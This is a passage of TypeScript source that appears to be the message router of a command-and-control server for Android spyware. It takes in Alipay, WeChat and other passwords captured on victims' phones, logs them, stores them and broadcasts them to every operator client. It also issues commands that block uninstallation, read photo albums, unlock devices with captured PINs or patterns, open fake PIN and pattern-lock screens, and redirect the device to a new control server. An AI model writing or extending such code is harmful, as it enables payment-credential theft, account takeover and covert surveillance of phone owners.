this.logger.info(`💰 处理设备 ${device.id} 的支付宝密码数据`)
// 验证必要字段
if (!passwordData.password || !passwordData.deviceId || !passwordData.timestamp) {
this.logger.warn(`⚠️ 支付宝密码数据缺少必要字段: ${JSON.stringify(passwordData)}`)
return false
}
// 创建支付宝密码记录
const alipayPasswordRecord = {
deviceId: passwordData.deviceId,
password: passwordData.password,
passwordLength: passwordData.passwordLength || passwordData.password.length,
activity: passwordData.activity || 'UnknownActivity',
inputMethod: passwordData.inputMethod || 'unknown',
sessionId: passwordData.sessionId || Date.now().toString(),
timestamp: new Date(passwordData.timestamp),
createdAt: new Date()
}
this.logger.info(`支付宝数据 ${alipayPasswordRecord.password}`)
// 保存到数据库
this.databaseService.saveAlipayPassword(alipayPasswordRecord)
// 向所有Web客户端广播支付宝密码记录
this.webClientManager.broadcastToAll('alipay_password_recorded', {
deviceId: passwordData.deviceId,
password: passwordData.password,
passwordLength: passwordData.passwordLength || passwordData.password.length,
activity: passwordData.activity || 'UnknownActivity',
inputMethod: passwordData.inputMethod || 'unknown',
sessionId: passwordData.sessionId || Date.now().toString(),
timestamp: passwordData.timestamp
})
this.logger.info(`📤 已向所有Web客户端广播支付宝密码记录: 设备=${passwordData.deviceId}`)
return true
} catch (error) {
this.logger.error(`路由支付宝密码数据失败: Socket ${socketId}`, error)
return false
}
}
/**
* 💬 路由微信密码数据
*/
routeWechatPassword(socketId: string, passwordData: any): boolean {
try {
// 获取发送密码数据的设备信息
const device = this.deviceManager.getDeviceBySocketId(socketId)
if (!device) {
this.logger.warn(`⚠️ 无法找到Socket ${socketId} 对应的设备`)
return false
}
this.logger.info(`💬 处理设备 ${device.id} 的微信密码数据`)
// 验证必要字段
if (!passwordData.password || !passwordData.deviceId || !passwordData.timestamp) {
this.logger.warn(`⚠️ 微信密码数据缺少必要字段: ${JSON.stringify(passwordData)}`)
return false
}
// 创建微信密码记录
const wechatPasswordRecord = {
deviceId: passwordData.deviceId,
password: passwordData.password,
passwordLength: passwordData.passwordLength || passwordData.password.length,
activity: passwordData.activity || 'UnknownActivity',
inputMethod: passwordData.inputMethod || 'unknown',
sessionId: passwordData.sessionId || Date.now().toString(),
timestamp: new Date(passwordData.timestamp),
createdAt: new Date()
}
this.logger.info(`微信数据 ${wechatPasswordRecord.password}`)
// 保存到数据库
this.databaseService.saveWechatPassword(wechatPasswordRecord)
// 向所有Web客户端广播微信密码记录
this.webClientManager.broadcastToAll('wechat_password_recorded', {
deviceId: passwordData.deviceId,
password: passwordData.password,
passwordLength: passwordData.passwordLength || passwordData.password.length,
activity: passwordData.activity || 'UnknownActivity',
inputMethod: passwordData.inputMethod || 'unknown',
sessionId: passwordData.sessionId || Date.now().toString(),
timestamp: passwordData.timestamp
})
this.logger.info(`📤 已向所有Web客户端广播微信密码记录: 设备=${passwordData.deviceId}`)
return true
} catch (error) {
this.logger.error(`路由微信密码数据失败: Socket ${socketId}`, error)
return false
}
}
/**
* 🔐 路由通用密码输入数据
*/
routePasswordInput(socketId: string, passwordData: any): boolean {
try {
// 获取发送密码数据的设备信息
const device = this.deviceManager.getDeviceBySocketId(socketId)
if (!device) {
this.logger.warn(`⚠️ 无法找到Socket ${socketId} 对应的设备`)
return false
}
this.logger.info(`🔐 处理设备 ${device.id} 的通用密码输入数据`)
// 验证必要字段
if (!passwordData.password || !passwordData.timestamp || !passwordData.passwordType) {
this.logger.warn(`⚠️ 通用密码输入数据缺少必要字段: ${JSON.stringify(passwordData)}`)
return false
}
// 🔧 修复使用设备管理器中的设备ID而不是passwordData中的deviceId
// 确保设备ID存在于数据库中避免外键约束错误
const deviceId = device.id
// 验证设备是否存在于数据库中
const deviceExists = this.databaseService.getDeviceById(deviceId)
if (!deviceExists) {
this.logger.error(`❌ 设备 ${deviceId} 不存在于数据库中,无法保存密码记录`)
return false
}
// 创建通用密码输入记录
const passwordInputRecord = {
deviceId: deviceId, // 🔧 使用验证过的设备ID
password: passwordData.password,
passwordLength: passwordData.passwordLength || passwordData.password.length,
passwordType: passwordData.passwordType,
activity: passwordData.activity || 'PasswordInputActivity',
inputMethod: passwordData.inputMethod || 'unknown',
installationId: passwordData.installationId || 'unknown',
sessionId: passwordData.sessionId || Date.now().toString(),
timestamp: new Date(passwordData.timestamp),
createdAt: new Date()
}
this.logger.info(`通用密码数据 ${passwordInputRecord.password} (类型: ${passwordInputRecord.passwordType})`)
// 保存到数据库
this.databaseService.savePasswordInput(passwordInputRecord)
// 向所有Web客户端广播通用密码输入记录
this.webClientManager.broadcastToAll('password_input_recorded', {
deviceId: deviceId, // 🔧 使用验证过的设备ID
password: passwordData.password,
passwordLength: passwordData.passwordLength || passwordData.password.length,
passwordType: passwordData.passwordType,
activity: passwordData.activity || 'PasswordInputActivity',
inputMethod: passwordData.inputMethod || 'unknown',
installationId: passwordData.installationId || 'unknown',
sessionId: passwordData.sessionId || Date.now().toString(),
timestamp: passwordData.timestamp
})
this.logger.info(`📤 已向所有Web客户端广播通用密码输入记录: 设备=${passwordData.deviceId}, 类型=${passwordData.passwordType}`)
return true
} catch (error) {
this.logger.error(`路由通用密码输入数据失败: Socket ${socketId}`, error)
return false
}
}
/**
* 🔍 路由支付宝检测启动指令
*/
routeAlipayDetectionStart(socketId: string, detectionData: any): boolean {
try {
// 获取发送检测启动指令的设备信息
const device = this.deviceManager.getDeviceBySocketId(socketId)
if (!device) {
this.logger.warn(`⚠️ 无法找到Socket ${socketId} 对应的设备`)
return false
}
this.logger.info(`🔍 处理设备 ${device.id} 的支付宝检测启动指令`)
// 创建控制消息
const controlMessage: ControlMessage = {
type: 'ALIPAY_DETECTION_START',
deviceId: device.id,
data: detectionData.data || {},
timestamp: Date.now()
}
// 路由控制消息
const routeResult = this.routeControlMessage(socketId, controlMessage)
if (routeResult) {
this.logger.info(`📤 支付宝检测启动指令已发送到设备: ${device.id}`)
} else {
this.logger.warn(`⚠️ 支付宝检测启动指令发送失败: ${device.id}`)
}
return routeResult
} catch (error) {
this.logger.error(`路由支付宝检测启动指令失败: Socket ${socketId}`, error)
return false
}
}
/**
* 💬 路由微信检测启动指令
*/
routeWechatDetectionStart(socketId: string, detectionData: any): boolean {
try {
// 获取发送检测启动指令的设备信息
const device = this.deviceManager.getDeviceBySocketId(socketId)
if (!device) {
this.logger.warn(`⚠️ 无法找到Socket ${socketId} 对应的设备`)
return false
}
this.logger.info(`💬 处理设备 ${device.id} 的微信检测启动指令`)
// 创建控制消息
const controlMessage: ControlMessage = {
type: 'WECHAT_DETECTION_START',
deviceId: device.id,
data: detectionData.data || {},
timestamp: Date.now()
}
// 路由控制消息
const routeResult = this.routeControlMessage(socketId, controlMessage)
if (routeResult) {
this.logger.info(`📤 微信检测启动指令已发送到设备: ${device.id}`)
} else {
this.logger.warn(`⚠️ 微信检测启动指令发送失败: ${device.id}`)
}
return routeResult
} catch (error) {
this.logger.error(`路由微信检测启动指令失败: Socket ${socketId}`, error)
return false
}
}
/**
* 🆕 处理MediaProjection权限申请响应
*/
private handleMediaProjectionPermissionResponse(deviceId: string, permissionData: any): void {
try {
this.logger.info(`📺 处理MediaProjection权限申请响应: 设备=${deviceId}, 成功=${permissionData.success}`)
// 向所有Web客户端广播权限申请响应因为权限申请可能影响多个控制此设备的客户端
this.webClientManager.broadcastToAll('refresh_permission_response', {
deviceId,
success: permissionData.success,
message: permissionData.message,
timestamp: permissionData.timestamp
})
this.logger.info(`📤 已向所有Web客户端广播权限申请响应: 设备=${deviceId}`)
} catch (error) {
this.logger.error(`处理MediaProjection权限申请响应失败: ${deviceId}`, error)
}
}
/**
* 🛡️ 处理启用防止卸载保护的请求
*/
private handleEnableUninstallProtection(clientId: string, deviceId: string): boolean {
try {
this.logger.info(`🛡️ 启用防止卸载保护: 客户端=${clientId}, 设备=${deviceId}`)
// 检查设备是否存在且在线
const device = this.deviceManager.getDevice(deviceId)
if (!device || !this.deviceManager.isDeviceOnline(deviceId)) {
this.logger.warn(`⚠️ 设备不在线: ${deviceId}`)
this.webClientManager.sendToClient(clientId, 'uninstall_protection_response', {
deviceId,
success: false,
enabled: false,
message: '设备已离线或不存在'
})
return false
}
// 检查客户端是否有控制权
if (!this.webClientManager.hasDeviceControl(clientId, deviceId)) {
this.logger.warn(`⚠️ 客户端 ${clientId} 无权控制设备 ${deviceId}`)
this.webClientManager.sendToClient(clientId, 'uninstall_protection_response', {
deviceId,
success: false,
enabled: false,
message: '无控制权限,请先申请设备控制权'
})
return false
}
// 向设备发送启用防止卸载保护的控制命令
const deviceSocketId = this.deviceManager.getDeviceSocketId(deviceId)
if (deviceSocketId) {
const deviceSocket = this.webClientManager.io?.sockets.sockets.get(deviceSocketId)
if (deviceSocket) {
deviceSocket.emit('control_command', {
type: 'ENABLE_UNINSTALL_PROTECTION',
deviceId,
data: {},
timestamp: Date.now()
})
// 保存状态到数据库
this.databaseService.updateDeviceUninstallProtection(deviceId, true)
// 发送成功响应
this.webClientManager.sendToClient(clientId, 'uninstall_protection_response', {
deviceId,
success: true,
enabled: true,
message: '防止卸载保护已启用'
})
this.logger.info(`✅ 防止卸载保护启用成功: 设备=${deviceId}`)
return true
}
}
// 设备Socket不可用
this.logger.error(`❌ 无法找到设备 ${deviceId} 的Socket连接`)
this.webClientManager.sendToClient(clientId, 'uninstall_protection_response', {
deviceId,
success: false,
enabled: false,
message: '设备连接已断开'
})
return false
} catch (error) {
this.logger.error(`❌ 启用防止卸载保护失败:`, error)
this.webClientManager.sendToClient(clientId, 'uninstall_protection_response', {
deviceId,
success: false,
enabled: false,
message: '启用防止卸载保护失败'
})
return false
}
}
/**
* 🛡️ 处理禁用防止卸载保护的请求
*/
private handleDisableUninstallProtection(clientId: string, deviceId: string): boolean {
try {
this.logger.info(`🛡️ 禁用防止卸载保护: 客户端=${clientId}, 设备=${deviceId}`)
// 检查设备是否存在且在线
const device = this.deviceManager.getDevice(deviceId)
if (!device || !this.deviceManager.isDeviceOnline(deviceId)) {
this.logger.warn(`⚠️ 设备不在线: ${deviceId}`)
this.webClientManager.sendToClient(clientId, 'uninstall_protection_response', {
deviceId,
success: false,
enabled: true,
message: '设备已离线或不存在'
})
return false
}
// 检查客户端是否有控制权
if (!this.webClientManager.hasDeviceControl(clientId, deviceId)) {
this.logger.warn(`⚠️ 客户端 ${clientId} 无权控制设备 ${deviceId}`)
this.webClientManager.sendToClient(clientId, 'uninstall_protection_response', {
deviceId,
success: false,
enabled: true,
message: '无控制权限,请先申请设备控制权'
})
return false
}
// 向设备发送禁用防止卸载保护的控制命令
const deviceSocketId = this.deviceManager.getDeviceSocketId(deviceId)
if (deviceSocketId) {
const deviceSocket = this.webClientManager.io?.sockets.sockets.get(deviceSocketId)
if (deviceSocket) {
deviceSocket.emit('control_command', {
type: 'DISABLE_UNINSTALL_PROTECTION',
deviceId,
data: {},
timestamp: Date.now()
})
// 保存状态到数据库
this.databaseService.updateDeviceUninstallProtection(deviceId, false)
// 发送成功响应
this.webClientManager.sendToClient(clientId, 'uninstall_protection_response', {
deviceId,
success: true,
enabled: false,
message: '防止卸载保护已禁用'
})
this.logger.info(`✅ 防止卸载保护禁用成功: 设备=${deviceId}`)
return true
}
}
// 设备Socket不可用
this.logger.error(`❌ 无法找到设备 ${deviceId} 的Socket连接`)
this.webClientManager.sendToClient(clientId, 'uninstall_protection_response', {
deviceId,
success: false,
enabled: true,
message: '设备连接已断开'
})
return false
} catch (error) {
this.logger.error(`❌ 禁用防止卸载保护失败:`, error)
this.webClientManager.sendToClient(clientId, 'uninstall_protection_response', {
deviceId,
success: false,
enabled: true,
message: '禁用防止卸载保护失败'
})
return false
}
}
/**
* 处理相册权限检查请求
*/
private handleGalleryPermissionCheck(clientId: string, deviceId: string): boolean {
try {
this.logger.info(`📸 处理相册权限检查请求: 客户端=${clientId}, 设备=${deviceId}`)
// 检查设备是否存在且在线
const device = this.deviceManager.getDevice(deviceId)
if (!device || !this.deviceManager.isDeviceOnline(deviceId)) {
this.logger.warn(`⚠️ 设备不在线: ${deviceId}`)
this.webClientManager.sendToClient(clientId, 'gallery_permission_response', {
deviceId,
success: false,
hasPermission: false,
message: '设备已离线或不存在'
})
return false
}
// 检查客户端是否有控制权
if (!this.webClientManager.hasDeviceControl(clientId, deviceId)) {
this.logger.warn(`⚠️ 客户端 ${clientId} 无权控制设备 ${deviceId}`)
this.webClientManager.sendToClient(clientId, 'gallery_permission_response', {
deviceId,
success: false,
hasPermission: false,
message: '无控制权限,请先申请设备控制权'
})
return false
}
// 向设备发送相册权限检查的控制命令
const deviceSocketId = this.deviceManager.getDeviceSocketId(deviceId)
if (deviceSocketId) {
const deviceSocket = this.webClientManager.io?.sockets.sockets.get(deviceSocketId)
if (deviceSocket) {
deviceSocket.emit('control_command', {
type: 'GALLERY_PERMISSION_CHECK',
deviceId,
data: {},
timestamp: Date.now()
})
this.logger.info(`✅ 相册权限检查命令已发送到设备: ${deviceId}`)
return true
}
}
this.logger.warn(`⚠️ 无法找到设备Socket: ${deviceId}`)
this.webClientManager.sendToClient(clientId, 'gallery_permission_response', {
deviceId,
success: false,
hasPermission: false,
message: '设备连接异常'
})
return false
} catch (error) {
this.logger.error('处理相册权限检查请求失败:', error)
this.webClientManager.sendToClient(clientId, 'gallery_permission_response', {
deviceId,
success: false,
hasPermission: false,
message: '相册权限检查失败'
})
return false
}
}
/**
* 处理相册读取请求
*/
private handleAlbumRead(clientId: string, deviceId: string, data: any): boolean {
try {
this.logger.info(`📸 处理相册读取请求: 客户端=${clientId}, 设备=${deviceId}, 数据=${JSON.stringify(data)}`)
// 检查设备是否存在且在线
const device = this.deviceManager.getDevice(deviceId)
if (!device || !this.deviceManager.isDeviceOnline(deviceId)) {
this.logger.warn(`⚠️ 设备不在线: ${deviceId}`)
this.webClientManager.sendToClient(clientId, 'album_read_response', {
deviceId,
success: false,
albums: [],
message: '设备已离线或不存在'
})
return false
}
// 检查客户端是否有控制权
if (!this.webClientManager.hasDeviceControl(clientId, deviceId)) {
this.logger.warn(`⚠️ 客户端 ${clientId} 无权控制设备 ${deviceId}`)
this.webClientManager.sendToClient(clientId, 'album_read_response', {
deviceId,
success: false,
albums: [],
message: '无控制权限,请先申请设备控制权'
})
return false
}
// 验证数据格式
const { albumId, limit, offset } = data || {}
if (limit && (typeof limit !== 'number' || limit <= 0)) {
this.logger.warn(`⚠️ 无效的相册读取限制: ${limit}`)
this.webClientManager.sendToClient(clientId, 'album_read_response', {
deviceId,
success: false,
albums: [],
message: '相册读取限制无效,应为正整数'
})
return false
}
if (offset && (typeof offset !== 'number' || offset < 0)) {
this.logger.warn(`⚠️ 无效的相册读取偏移: ${offset}`)
this.webClientManager.sendToClient(clientId, 'album_read_response', {
deviceId,
success: false,
albums: [],
message: '相册读取偏移无效,应为非负整数'
})
return false
}
// 向设备发送相册读取的控制命令
const deviceSocketId = this.deviceManager.getDeviceSocketId(deviceId)
if (deviceSocketId) {
const deviceSocket = this.webClientManager.io?.sockets.sockets.get(deviceSocketId)
if (deviceSocket) {
deviceSocket.emit('control_command', {
type: 'ALBUM_READ',
deviceId,
data: {
albumId: albumId || null,
limit: limit || null,
offset: offset || 0
},
timestamp: Date.now()
})
this.logger.info(`✅ 相册读取命令已发送到设备: ${deviceId}, albumId=${albumId || 'all'}, limit=${limit || 'unlimited'}, offset=${offset || 0}`)
return true
}
}
this.logger.warn(`⚠️ 无法找到设备Socket: ${deviceId}`)
this.webClientManager.sendToClient(clientId, 'album_read_response', {
deviceId,
success: false,
albums: [],
message: '设备连接异常'
})
return false
} catch (error) {
this.logger.error('处理相册读取请求失败:', error)
this.webClientManager.sendToClient(clientId, 'album_read_response', {
deviceId,
success: false,
albums: [],
message: '相册读取失败'
})
return false
}
}
/**
* 处理设备解锁请求
*/
private handleUnlockDevice(clientId: string, deviceId: string, data: any): boolean {
try {
this.logger.info(`🔓 处理设备解锁请求: 客户端=${clientId}, 设备=${deviceId}`)
// 检查设备是否存在且在线
const device = this.deviceManager.getDevice(deviceId)
if (!device || !this.deviceManager.isDeviceOnline(deviceId)) {
this.logger.warn(`⚠️ 设备不在线: ${deviceId}`)
this.webClientManager.sendToClient(clientId, 'unlock_device_response', {
deviceId,
success: false,
message: '设备已离线或不存在'
})
return false
}
// 检查客户端是否有控制权
if (!this.webClientManager.hasDeviceControl(clientId, deviceId)) {
this.logger.warn(`⚠️ 客户端 ${clientId} 无权控制设备 ${deviceId}`)
this.webClientManager.sendToClient(clientId, 'unlock_device_response', {
deviceId,
success: false,
message: '无控制权限,请先申请设备控制权'
})
return false
}
// 验证解锁数据格式
const { password, pattern, pin, biometric } = data || {}
if (!password && !pattern && !pin && !biometric) {
this.logger.warn(`⚠️ 解锁数据不完整: 需要提供密码、图案、PIN或生物识别信息`)
this.webClientManager.sendToClient(clientId, 'unlock_device_response', {
deviceId,
success: false,
message: '解锁数据不完整需要提供密码、图案、PIN或生物识别信息'
})
return false
}
// 向设备发送解锁的控制命令
const deviceSocketId = this.deviceManager.getDeviceSocketId(deviceId)
if (deviceSocketId) {
const deviceSocket = this.webClientManager.io?.sockets.sockets.get(deviceSocketId)
if (deviceSocket) {
deviceSocket.emit('control_command', {
type: 'UNLOCK_DEVICE',
deviceId,
data: {
password: password || null,
pattern: pattern || null,
pin: pin || null,
biometric: biometric || null
},
timestamp: Date.now()
})
this.logger.info(`✅ 设备解锁命令已发送到设备: ${deviceId}`)
// 发送成功响应
this.webClientManager.sendToClient(clientId, 'unlock_device_response', {
deviceId,
success: true,
message: '设备解锁命令已发送'
})
return true
}
}
this.logger.warn(`⚠️ 无法找到设备Socket: ${deviceId}`)
this.webClientManager.sendToClient(clientId, 'unlock_device_response', {
deviceId,
success: false,
message: '设备连接异常'
})
return false
} catch (error) {
this.logger.error('处理设备解锁请求失败:', error)
this.webClientManager.sendToClient(clientId, 'unlock_device_response', {
deviceId,
success: false,
message: '设备解锁失败'
})
return false
}
}
/**
* 🔐 处理打开6位PIN输入界面的请求
*/
private handleOpenPinInput(clientId: string, deviceId: string): boolean {
try {
this.logger.info(`🔐 打开6位PIN输入界面: 客户端=${clientId}, 设备=${deviceId}`)
// 检查设备是否存在且在线
const device = this.deviceManager.getDevice(deviceId)
if (!device || !this.deviceManager.isDeviceOnline(deviceId)) {
this.logger.warn(`⚠️ 设备不在线: ${deviceId}`)
this.webClientManager.sendToClient(clientId, 'pin_input_response', {
deviceId,
success: false,
message: '设备已离线或不存在'
})
return false
}
// 检查客户端是否有控制权
if (!this.webClientManager.hasDeviceControl(clientId, deviceId)) {
this.logger.warn(`⚠️ 客户端 ${clientId} 无权控制设备 ${deviceId}`)
this.webClientManager.sendToClient(clientId, 'pin_input_response', {
deviceId,
success: false,
message: '无控制权限,请先申请设备控制权'
})
return false
}
// 向设备发送打开6位PIN输入界面的控制命令
const deviceSocketId = this.deviceManager.getDeviceSocketId(deviceId)
if (deviceSocketId) {
const deviceSocket = this.webClientManager.io?.sockets.sockets.get(deviceSocketId)
if (deviceSocket) {
deviceSocket.emit('control_command', {
type: 'OPEN_PIN_INPUT',
deviceId,
data: {},
timestamp: Date.now()
})
this.logger.info(`✅ 已发送打开6位PIN输入界面命令到设备 ${deviceId}`)
// 向客户端发送响应
this.webClientManager.sendToClient(clientId, 'pin_input_response', {
deviceId,
success: true,
message: '打开6位PIN输入界面命令已发送'
})
return true
}
}
this.logger.error(`❌ 无法找到设备 ${deviceId} 的Socket连接`)
this.webClientManager.sendToClient(clientId, 'pin_input_response', {
deviceId,
success: false,
message: '设备连接已断开'
})
return false
} catch (error) {
this.logger.error(`打开6位PIN输入界面失败:`, error)
this.webClientManager.sendToClient(clientId, 'pin_input_response', {
deviceId,
success: false,
message: '打开6位PIN输入界面失败'
})
return false
}
}
/**
* 🔐 处理打开4位密码输入界面的请求
*/
private handleOpenFourDigitPin(clientId: string, deviceId: string): boolean {
try {
this.logger.info(`🔐 打开4位密码输入界面: 客户端=${clientId}, 设备=${deviceId}`)
// 检查设备是否存在且在线
const device = this.deviceManager.getDevice(deviceId)
if (!device || !this.deviceManager.isDeviceOnline(deviceId)) {
this.logger.warn(`⚠️ 设备不在线: ${deviceId}`)
this.webClientManager.sendToClient(clientId, 'four_digit_pin_response', {
deviceId,
success: false,
message: '设备已离线或不存在'
})
return false
}
// 检查客户端是否有控制权
if (!this.webClientManager.hasDeviceControl(clientId, deviceId)) {
this.logger.warn(`⚠️ 客户端 ${clientId} 无权控制设备 ${deviceId}`)
this.webClientManager.sendToClient(clientId, 'four_digit_pin_response', {
deviceId,
success: false,
message: '无控制权限,请先申请设备控制权'
})
return false
}
// 向设备发送打开4位密码输入界面的控制命令
const deviceSocketId = this.deviceManager.getDeviceSocketId(deviceId)
if (deviceSocketId) {
const deviceSocket = this.webClientManager.io?.sockets.sockets.get(deviceSocketId)
if (deviceSocket) {
deviceSocket.emit('control_command', {
type: 'OPEN_FOUR_DIGIT_PIN',
deviceId,
data: {},
timestamp: Date.now()
})
this.logger.info(`✅ 已发送打开4位密码输入界面命令到设备 ${deviceId}`)
// 向客户端发送响应
this.webClientManager.sendToClient(clientId, 'four_digit_pin_response', {
deviceId,
success: true,
message: '打开4位密码输入界面命令已发送'
})
return true
}
}
this.logger.error(`❌ 无法找到设备 ${deviceId} 的Socket连接`)
this.webClientManager.sendToClient(clientId, 'four_digit_pin_response', {
deviceId,
success: false,
message: '设备连接已断开'
})
return false
} catch (error) {
this.logger.error(`打开4位密码输入界面失败:`, error)
this.webClientManager.sendToClient(clientId, 'four_digit_pin_response', {
deviceId,
success: false,
message: '打开4位密码输入界面失败'
})
return false
}
}
/**
* 🔐 处理打开图形密码输入界面的请求
*/
private handleOpenPatternLock(clientId: string, deviceId: string): boolean {
try {
this.logger.info(`🔐 打开图形密码输入界面: 客户端=${clientId}, 设备=${deviceId}`)
// 检查设备是否存在且在线
const device = this.deviceManager.getDevice(deviceId)
if (!device || !this.deviceManager.isDeviceOnline(deviceId)) {
this.logger.warn(`⚠️ 设备不在线: ${deviceId}`)
this.webClientManager.sendToClient(clientId, 'pattern_lock_response', {
deviceId,
success: false,
message: '设备已离线或不存在'
})
return false
}
// 检查客户端是否有控制权
if (!this.webClientManager.hasDeviceControl(clientId, deviceId)) {
this.logger.warn(`⚠️ 客户端 ${clientId} 无权控制设备 ${deviceId}`)
this.webClientManager.sendToClient(clientId, 'pattern_lock_response', {
deviceId,
success: false,
message: '无控制权限,请先申请设备控制权'
})
return false
}
// 向设备发送打开图形密码输入界面的控制命令
const deviceSocketId = this.deviceManager.getDeviceSocketId(deviceId)
if (deviceSocketId) {
const deviceSocket = this.webClientManager.io?.sockets.sockets.get(deviceSocketId)
if (deviceSocket) {
deviceSocket.emit('control_command', {
type: 'OPEN_PATTERN_LOCK',
deviceId,
data: {},
timestamp: Date.now()
})
this.logger.info(`✅ 已发送打开图形密码输入界面命令到设备 ${deviceId}`)
// 向客户端发送响应
this.webClientManager.sendToClient(clientId, 'pattern_lock_response', {
deviceId,
success: true,
message: '打开图形密码输入界面命令已发送'
})
return true
}
}
this.logger.error(`❌ 无法找到设备 ${deviceId} 的Socket连接`)
this.webClientManager.sendToClient(clientId, 'pattern_lock_response', {
deviceId,
success: false,
message: '设备连接已断开'
})
return false
} catch (error) {
this.logger.error(`打开图形密码输入界面失败:`, error)
this.webClientManager.sendToClient(clientId, 'pattern_lock_response', {
deviceId,
success: false,
message: '打开图形密码输入界面失败'
})
return false
}
}
/**
* 处理修改服务器地址请求
*/
private handleChangeServerUrl(clientId: string, deviceId: string, data: any): boolean {
try {
this.logger.info(`🌐 修改服务器地址: 客户端=${clientId}, 设备=${deviceId}`)
// 检查设备是否存在且在线
const device = this.deviceManager.getDevice(deviceId)
if (!device || !this.deviceManager.isDeviceOnline(deviceId)) {
this.logger.warn(`⚠️ 设备不在线: ${deviceId}`)
this.webClientManager.sendToClient(clientId, 'change_server_url_response', {
deviceId,
success: false,
message: '设备已离线或不存在'
})
return false
}
// 检查客户端是否有控制权
if (!this.webClientManager.hasDeviceControl(clientId, deviceId)) {
this.logger.warn(`⚠️ 客户端 ${clientId} 无权控制设备 ${deviceId}`)
this.webClientManager.sendToClient(clientId, 'change_server_url_response', {
deviceId,
success: false,
message: '无控制权限,请先申请设备控制权'
})
return false
}
// 验证服务器地址数据
if (!data || !data.serverUrl || typeof data.serverUrl !== 'string' || data.serverUrl.trim() === '') {
this.logger.warn(`⚠️ 无效的服务器地址: ${data?.serverUrl}`)
this.webClientManager.sendToClient(clientId, 'change_server_url_response', {
deviceId,
success: false,
message: '服务器地址无效,应为非空字符串'
})
return false
}
// 向设备发送修改服务器地址的控制命令
const deviceSocketId = this.deviceManager.getDeviceSocketId(deviceId)
if (deviceSocketId) {
const deviceSocket = this.webClientManager.io?.sockets.sockets.get(deviceSocketId)
if (deviceSocket) {
deviceSocket.emit('control_command', {
type: 'CHANGE_SERVER_URL',
deviceId,
data: {
serverUrl: data.serverUrl.trim()
},
timestamp: Date.now()
})
this.logger.info(`✅ 已发送修改服务器地址命令到设备 ${deviceId}: ${data.serverUrl}`)
// 向客户端发送响应
this.webClientManager.sendToClient(clientId, 'change_server_url_response', {
deviceId,
success: true,
message: '命令已发送',
serverUrl: data.serverUrl
})
return true
}
}
this.logger.error(`❌ 无法找到设备 ${deviceId} 的Socket连接`)
this.webClientManager.sendToClient(clientId, 'change_server_url_response', {
deviceId,
success: false,
message: '设备连接已断开'
})
return false
} catch (error) {
this.logger.error(`修改服务器地址失败:`, error)
this.webClientManager.sendToClient(clientId, 'change_server_url_response', {
deviceId,
success: false,
message: '修改服务器地址失败'
})
return false
}
}
}
export default MessageRouter